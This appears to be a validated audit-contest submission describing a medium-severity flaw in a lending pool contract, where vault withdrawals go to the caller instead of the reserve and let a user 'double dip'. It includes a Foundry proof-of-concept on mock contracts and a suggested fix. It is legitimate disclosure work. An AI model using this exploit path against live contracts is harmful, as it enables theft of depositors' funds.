Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Liquidity Top‑Up via Incorrect Vault Withdrawal Recipient

Overview

The LendingPool contract integrates a liquidity management mechanism that “tops up” available funds by withdrawing from a Curve crvUSD vault when the liquidity buffer falls short. This is done in the internal function _ensureLiquidity, which calls _withdrawFromVault if the reserve’s liquidity (held in the reserve RToken’s address) is insufficient. However, the implementation of _withdrawFromVault sends the withdrawn funds directly to the caller (msg.sender) rather than to the designated liquidity buffer (i.e. the RToken contract’s address). As a result, a malicious user could trigger a withdrawal operation to extract extra funds from the vault in addition to the normal withdrawal proceeds.

Root Cause & Attack Path

  1. Intended Design:
    The LendingPool is designed so that when a user requests a withdrawal, the contract first checks the liquidity available in the reserve (by querying the balance of the RToken contract).
    – If the balance is insufficient, the system should “top up” the liquidity buffer by withdrawing the shortfall from the Curve vault. In a correct design, these funds should be deposited into the reserve (i.e. the RToken’s address), thereby increasing the buffer before proceeding with the withdrawal.

  2. Faulty Implementation:
    In the _ensureLiquidity function, if the available liquidity is less than the requested amount, the contract calculates the required shortfall and calls _withdrawFromVault(requiredAmount).
    – The implementation of _withdrawFromVault is as follows:

    function _withdrawFromVault(uint256 amount) internal {
    curveVault.withdraw(amount, address(this), msg.sender, 0, new address[](0));
    totalVaultDeposits -= amount;
    }

    Notice that the vault’s withdraw call is made with msg.sender as the recipient. Consequently, instead of replenishing the liquidity buffer (i.e. transferring funds to the reserve RToken’s address), the funds are sent directly to the user.

  3. Attack Vector & Impact:
    – A malicious user calling the withdraw function when the reserve’s liquidity is insufficient will trigger _ensureLiquidity.
    – The vault will then withdraw the shortfall and send those funds directly to the user. Next, the standard ReserveLibrary withdrawal is executed—which also transfers funds from the reserve to the user. – As a result, the user ends up receiving both the extra funds from the vault and the normal withdrawal amount—effectively “double dipping” and draining funds from the vault. – This flaw could be exploited repeatedly, leading to a significant loss of assets from the vault and undermining the protocol’s overall capital efficiency and security.

Foundry PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "openzeppelin-contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/token/ERC20/utils/SafeERC20.sol";
// A minimal mock ERC20 token for reserve assets.
contract MockAsset is ERC20 {
constructor() ERC20("MockAsset", "MASSET") {
_mint(address(this), 1_000_000e18);
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
// A mock implementation of the Curve crvUSD Vault.
// The withdraw function sends funds directly to the caller.
contract MockCurveVault {
using SafeERC20 for IERC20;
IERC20 public asset;
constructor(address assetAddress) {
asset = IERC20(assetAddress);
}
// Simplified withdraw: send 'amount' to 'recipient'
function withdraw(
uint256 amount,
address, /* owner */
address recipient,
uint256, /* minOut */
address[] calldata /* options */
) external {
asset.safeTransfer(recipient, amount);
}
// Dummy deposit function (no-op)
function deposit(uint256 amount, address) external {
// In a real implementation, tokens would be locked.
}
}
// A dummy ReserveLibrary with a minimal withdraw implementation.
// For testing, we assume it simply transfers the requested amount from a given source.
library DummyReserveLibrary {
using SafeERC20 for IERC20;
function withdraw(
IERC20 asset,
uint256 amount,
address reserveRTokenAddress,
address recipient
) internal returns (uint256) {
// Transfer 'amount' from the reserve (RToken address) to the recipient.
uint256 preBalance = asset.balanceOf(recipient);
asset.safeTransfer(recipient, amount);
return asset.balanceOf(recipient) - preBalance;
}
}
// A minimal LendingPool mock that integrates the flawed _ensureLiquidity logic.
contract MockLendingPool {
using SafeERC20 for IERC20;
IERC20 public asset;
address public reserveRTokenAddress;
address public stabilityPool;
uint256 public liquidityBufferRatio; // not used in this PoC
uint256 public totalVaultDeposits;
MockCurveVault public curveVault;
constructor(address assetAddress, address _reserveRTokenAddress, address _curveVault) {
asset = IERC20(assetAddress);
reserveRTokenAddress = _reserveRTokenAddress;
curveVault = MockCurveVault(_curveVault);
}
// Simulate _ensureLiquidity as in the LendingPool contract.
function _ensureLiquidity(uint256 amount, address caller) internal {
uint256 availableLiquidity = asset.balanceOf(reserveRTokenAddress);
if (availableLiquidity < amount) {
uint256 requiredAmount = amount - availableLiquidity;
// Here is the flawed withdrawal: funds go directly to caller.
curveVault.withdraw(requiredAmount, address(this), caller, 0, new address[](0));
totalVaultDeposits -= requiredAmount;
}
}
// Public withdraw function that calls _ensureLiquidity and then the dummy ReserveLibrary.withdraw.
function withdraw(uint256 amount) external {
// For the purpose of this test, assume reserveRTokenAddress holds a fixed balance.
_ensureLiquidity(amount, msg.sender);
// Then call dummy ReserveLibrary.withdraw to transfer 'amount' from reserve to user.
uint256 transferred = DummyReserveLibrary.withdraw(asset, amount, reserveRTokenAddress, msg.sender);
// Emit event (omitted for brevity)
}
}
// Foundry test demonstrating the vulnerability.
contract LendingPoolVulnerabilityTest is Test {
MockAsset asset;
MockCurveVault curveVault;
address reserveRToken; // Represents the address holding liquidity (simulate with an EOA)
MockLendingPool pool;
address user = address(1);
function setUp() public {
asset = new MockAsset();
// Mint reserve funds to the reserveRToken address.
reserveRToken = address(2);
asset.mint(reserveRToken, 100e18); // Reserve has only 100 tokens
// Deploy the mock vault and the pool.
curveVault = new MockCurveVault(address(asset));
pool = new MockLendingPool(address(asset), reserveRToken, address(curveVault));
// For testing, give the user sufficient balance (not used in _ensureLiquidity).
asset.mint(user, 1_000e18);
}
function testDoubleWithdrawalExploit() public {
// Simulate a withdrawal request of 200 tokens by user.
// ReserveRToken balance is only 100, so the shortfall is 100.
vm.prank(user);
pool.withdraw(200);
// After _ensureLiquidity, the vault should withdraw 100 tokens directly to user.
// Then DummyReserveLibrary.withdraw transfers another 200 tokens from reserveRToken.
// Thus, the user receives 300 tokens total, which is more than the intended 200.
uint256 userBalance = asset.balanceOf(user);
// Assert that the user received extra funds.
assertGe(userBalance, 300e18);
}
}


– A mock ERC20 asset is deployed and minted to a simulated reserve (represented by an address).
– A mock Curve vault is deployed whose withdraw function sends funds directly to the recipient.
– A minimal mock LendingPool (integrating the flawed _ensureLiquidity) is deployed.


– >The user requests a withdrawal of 200 tokens while the reserve holds only 100 tokens.
– >The flawed _ensureLiquidity function withdraws the shortfall (100 tokens) directly to the user.
– >Then, the dummy ReserveLibrary withdrawal transfers 200 tokens from the reserve (simulated separately) to the user.
--->As a result, the user receives 300 tokens—demonstrating the double withdrawal vulnerability.


Fix:
Modify the _withdrawFromVault function so that funds withdrawn from the Curve vault are deposited into the liquidity buffer rather than sent directly to the caller. For example, change the recipient from msg.sender to the reserve’s RToken address:

function _withdrawFromVault(uint256 amount) internal {
// Withdraw funds into the reserve buffer instead of sending to the user.
curveVault.withdraw(amount, address(this), reserve.reserveRTokenAddress, 0, new address[](0));
totalVaultDeposits -= amount;
}


This change would ensure that the liquidity buffer is replenished appropriately so that subsequent withdrawals draw funds only from the buffer.
– It prevents users from receiving extra funds directly from the vault and protects protocol liquidity.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::_depositIntoVault and _withdrawFromVault don't transfer tokens between RToken and LendingPool, breaking Curve vault interactions

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::_depositIntoVault and _withdrawFromVault don't transfer tokens between RToken and LendingPool, breaking Curve vault interactions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!